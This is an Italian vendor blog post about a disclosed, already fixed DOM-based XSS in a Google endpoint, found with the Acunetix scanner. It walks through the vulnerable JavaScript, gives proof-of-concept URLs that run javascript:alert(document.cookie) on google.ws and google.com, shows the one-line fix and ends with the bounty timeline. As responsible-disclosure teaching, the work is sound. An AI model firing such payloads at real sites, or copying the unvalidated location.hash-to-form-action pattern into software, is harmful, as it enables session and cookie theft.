Request Support  | Contact Sales

Diventa Autore per CoreTech | Scopri di più





Come abbiamo trovato un altro XSS in Google con Acunetix

24/03/20 CoreTech Blog

 

Devi essere un hacker molto pigro per non cercare di trovare problemi in Google. Link e io non siamo pigri, ma potremmo essere un po' più fortunati della maggior parte. E usiamo buoni strumenti, il che aiuta. Qualche tempo fa, abbiamo trovato un XSS in Google Cloud con l'aiuto dello scanner di vulnerabilità Acunetix. Recentemente abbiamo trovato un'altra vulnerabilità XSS. Ecco come è successo.

Andrej Leonov

Passo 1. Un rapporto dallo scanner di vulnerabilità

Come parte della nostra ricerca, eseguiamo regolarmente la scansione di vari servizi Google utilizzando diversi strumenti, tra cui Acunetix. Abbiamo semplicemente una lunga lista di obiettivi e analizziamo ciascuno di essi. Una di queste scansioni target a dicembre 2019 ha portato lo scanner a segnalare un XSS con il seguente carico utile:

https://google.ws/ajax/pi/fbfr?wvstest=javascript:domxssExecutionSink(1,%22%27%5C%22%3E%3Cxsstag%3E()locxss%22)

Tali rapporti a volte si rivelano falsi positivi e non reagiamo ad essi ogni volta, ma si trattava di Google. Quindi valeva la pena dare un'occhiata più da vicino.

Passo 2. Analisi della risposta http

Il primo passo è stato quello di esaminare la risposta HTTP in dettaglio:

HTTP/1.1 200 OK

...

<!doctype html>

 

Questa risposta sembrava contenere un modulo vuoto e un po' di codice JavaScript. Per capirlo meglio, lo abbiamo reso più leggibile:

(function() {

    var a = window.document.forms[0],

        b = location.hash.substr(1);

    b || window.close();

    var c = b.split("&"),

        d = decodeURIComponent(c[0]);

    a.action = d;

    for (var e = 1; e < c.length; e++) {

        var f = c[e].split("="),

            g = document.createElement("input");

Banner

        g.type = "hidden";

        g.name = f[0];

        g.value = decodeURIComponent(f[1]);

        a.appendChild(g)

    }

    a.submit();

}).call(this);

 

Successivamente, abbiamo cercato di comprendere ogni passaggio del codice JavaScript di cui sopra. Vedi i commenti all'interno del codice per capire come funziona.

(function() {

// Function that is going to be auto-executed 

}).call(this);

(function() {

  // The variable “a” points to a form that is empty right now

    var a = window.document.forms[0],

    // The variable b is a location hash without the # character

        b = location.hash.substr(1);

  // If there is no b (no hash in the location URI), try to self-close

    b || window.close();

  // Split the location hash using the & character

    var c = b.split("&"),

    // And decode the first (zero) element

        d = decodeURIComponent(c[0]);

  // The hash value becomes the action of the form

    a.action = d;

// The below content is not important in the context of the issue

    for (var e = 1; e < c.length; e++) {

        var f = c[e].split("="),

            g = document.createElement("input");

        g.type = "hidden";

        g.name = f[0];

        g.value = decodeURIComponent(f[1]);

        a.appendChild(g)

    }

  // The form is auto-submitted

    a.submit();

}).call(this);

Passo 3. Il playload corretto

Una volta che abbiamo capito come funziona la funzione, tutto ciò di cui avevamo bisogno era un carico utile adeguato. Ci siamo inventati il seguente:

https://google.ws/ajax/pi/fbfr#javascript:alert(document.cookie)

Abbiamo anche deciso di vedere se questa vulnerabilità colpisce altri domini Google:

https://google.com/ajax/pi/fbfr#javascript:alert(document.cookie)

La correzione

Google non ha dovuto lavorare sodo per risolvere il problema. Solo una riga di codice doveva essere modificata per eliminare la vulnerabilità:

(function() {

    var a = window.document.forms[0],

        b = location.hash.substr(1);

    b || window.close();

    var c = b.split("&"),

        d = decodeURIComponent(c[0]);

  // Only the below line needed to be changed 

  // to check if the location hash begins with http:

    0 != d.indexOf("http") && window.close();

    a.action = d;

    for (var e = 1; e < c.length; e++) {

        var f = c[e].split("="),

            g = document.createElement("input");

        g.type = "hidden";

        g.name = f[0];

        g.value = decodeURIComponent(f[1]);

        a.appendChild(g)

    }

    a.submit();

}).call(this);

La cronologia

  • Vulnerabilità segnalata: 27 dic 2019, 01:01 AM
  • Vulnerabilità valutata: 27 dic 2019, 08:32 PM
  • Problema risolto da Google: 8 gennaio 2020
  • Bounty pagato: 8 gennaio 2020
  • Importo del premio: USD 5000

Articoli su Acunetix e Hacking

Trovare le vulnerabilità dei siti web prima degli HackerL'importanza della convalida delle correzioni: lezioni da GoogleSDLC agile e sicuro - Best practiceIn che misura le aziende gestiscono la sicurezza delle applicazioni Web?Cross-Origin Resource Sharing (CORS) e intestazione Access-Control-Allow-OriginCosa sono i reindirizzamenti aperti?DevSecOps: come arrivarci da DevOpsIl bigino su SQL Injection per sviluppatoriSfruttare SSTI in ThymeleafSicurezza nginx: come proteggere la configurazione del serverRafforzamento del sistema Web in 5 semplici passaggiCos'è la sicurezza del sito Web - Come proteggere il tuo sito Web dall'hackingRapporto sulle vulnerabilità delle applicazioni Web Acunetix 2020Perché l'elenco delle directory è pericoloso?Cosa sono gli hack di Google?Cosa è l'attacco BEASTWeb Shells in Action - Rilevazione e prevenzione - parte 5Web Shells in Action - parte 4Mantenere le Web Shells sotto copertura - parte 3Introduzione alle web shell - parte 2: 101 Uso di PHPIntroduzione alle web shell - parte 1Debunking 5 miti sulla postura della sicurezza informaticaIniezioni di NoSQL e come evitarleConfigurazione passo passo di Acunetix con JenkinsCosa sono i riferimenti a oggetti diretti non sicuriAnche il più forte cade: un'iniezione SQL in Sophos XG FirewallAcunetix rilascia Business Logic RecorderCome recuperare un sito Web compromessoCome difendersi dagli hacker Black Hat durante la pandemia COVID-19Che cos'è l'inclusione remota dei file (RFI)?Apache Security - 10 consigli per un'installazione sicuraUn nuovo sguardo sugli attacchi correlati al proxy inversoVulnerabilità delle password comuni e come evitarleTutto quello che devi sapere sugli attacchi Man-in-the-MiddleChe cosa sono le iniezioni HTMLRed Teaming – 5 consigli su come farlo in modo sicuroTesta le tue competenze XSS utilizzando siti vulnerabiliPerché hacker malintenzionati hanno messo gli occhi sugli ospedaliPratiche di codifica sicura – I tre principi chiaveLa maledizione delle vecchie librerie JavaMutation XSS nella ricerca GoogleIgnorare SOP utilizzando la cache del browserCome e perché evitare reindirizzamenti e inoltri non convalidati?Dirottamento di sessione e altri attacchi di sessioneCome abbiamo trovato un altro XSS in Google con AcunetixChe cos'è un buffer overflowChe cos'è l'overflow di IntegerChe cos'è HSTS e perché dovrei usarlo?Che cosa è OS Command InjectionVulnerabilità delle entità esterne XML in Internet ExplorerCoreTech assicura protezione dei siti Web con AcunetixCoreTech distributore Acunetix a fianco dei partner per la CyberSecurityCyberSecurity applicativa, nuova opportunità per voi!